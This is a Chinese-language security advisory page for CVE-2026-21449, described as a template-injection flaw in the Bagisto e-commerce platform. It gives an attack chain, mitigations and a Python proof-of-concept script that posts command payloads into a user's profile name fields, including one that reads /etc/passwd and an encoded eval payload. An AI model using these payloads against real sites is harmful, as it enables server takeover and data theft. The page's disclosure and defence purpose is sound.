IPBUF安全漏洞报告
English
CVE-2026-21449 CVSS 8.8 高危

CVE-2026-21449 Bagisto服务器端模板注入漏洞

披露日期: 2026-01-02

漏洞信息

漏洞编号
CVE-2026-21449
漏洞类型
服务器端模板注入(SSTI)
CVSS评分
8.8 高危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Bagisto

相关标签

服务器端模板注入SSTI远程代码执行BagistoLaravelBlade模板引擎CVE-2026-21449高危漏洞电商平台

漏洞概述

CVE-2026-21449是Bagisto开源Laravel电商平台中的一个高危安全漏洞。该漏洞影响2.3.10之前的所有版本,允许具有低权限的用户通过操纵个人资料中的名(first name)和姓(last name)字段注入恶意模板代码。由于Bagisto使用Laravel框架的Blade模板引擎,攻击者可以利用模板注入执行任意PHP代码,完全控制服务器。CVSS评分8.8,属于高危漏洞,攻击复杂度低,无需用户交互即可实现。攻击成功后可导致服务器完全沦陷,窃取敏感数据、植入后门或进行横向移动。该漏洞由GitHub安全团队发现并报告,厂商已在2.3.10版本中修复。

技术细节

Bagisto电商平台的服务器端模板注入漏洞源于用户输入在模板渲染前的安全过滤不足。攻击者以低权限用户身份登录后,可在个人资料设置页面的first_name和last_name字段中插入Blade模板语法,如{{7*7}}或{{system('whoami')}}等。当管理员或其他用户查看包含该用户信息的页面时,后端会使用Blade引擎渲染这些字段内容。由于Laravel的Blade模板引擎支持代码执行,攻击者可利用{{}}语法执行任意PHP函数,例如使用system()、exec()或file_get_contents()等函数实现命令执行、文件读取或数据窃取。攻击者可通过{{app()->make('Illuminate\Routing\Redirector')->setIntendedUrl('/')}}等payload进行更深层次的利用,甚至可以绕过某些安全过滤机制。此漏洞无需特殊权限,普通注册用户即可发起攻击,且攻击痕迹较少,隐蔽性高。

攻击链分析

STEP 1
步骤1
攻击者注册Bagisto平台账户,获取低权限用户身份
STEP 2
步骤2
登录后访问个人资料编辑页面,准备修改姓名字段
STEP 3
步骤3
在first_name或last_name字段中插入Blade模板注入payload,如{{7*7}}
STEP 4
步骤4
提交修改后的表单,后端将恶意输入存入数据库
STEP 5
步骤5
当管理员或用户访问攻击者个人资料页面时,后端使用Blade引擎渲染姓名字段
STEP 6
步骤6
模板引擎执行注入的代码,返回计算结果(如49)或执行系统命令
STEP 7
步骤7
攻击者利用RCE payload获取服务器完全控制权,可执行任意命令、读取敏感文件或植入后门

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import json # CVE-2026-21449 Bagisto SSTI PoC # Target: Bagisto < 2.3.10 # Author: Security Researcher target_url = "http://target-site.com" # Login as low-privilege user login_url = f"{target_url}/customer/login" session = requests.Session() login_data = { "email": "[email protected]", "password": "password123" } response = session.post(login_url, data=login_data) # Update first_name with SSTI payload profile_url = f"{target_url}/customer/account/profile" # Basic SSTI test - should return 49 ssti_payload = "{{7*7}}" profile_data = { "first_name": ssti_payload, "last_name": "Test" } response = session.post(profile_url, data=profile_data) # Command execution payload cmd_payload = "{{system('cat /etc/passwd')}}" profile_data = { "first_name": cmd_payload, "last_name": "Test" } response = session.post(profile_url, data=profile_data) # Alternative payload for RCE rce_payload = "{{eval(base64_decode('c3lzdGVtKCd3aG9hbWknKQ=='))}}" profile_data = { "first_name": rce_payload, "last_name": "Test" } response = session.post(profile_url, data=profile_data) print("SSTI PoC executed - check server response")

影响范围

Bagisto < 2.3.10

防御指南

临时缓解措施
在官方补丁发布前,可采取以下临时措施:1) 限制低权限用户修改个人资料的姓名字段功能;2) 在应用层对first_name和last_name字段实施输入白名单验证,仅允许字母和常见字符;3) 使用HTML实体编码转义用户输入;4) 临时禁用可能触发模板渲染的页面功能;5) 加强用户权限控制,限制普通用户访问敏感管理页面;6) 部署Web应用防火墙规则拦截包含{{}}语法的可疑请求;7) 监控日志中的异常模板语法访问行为。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表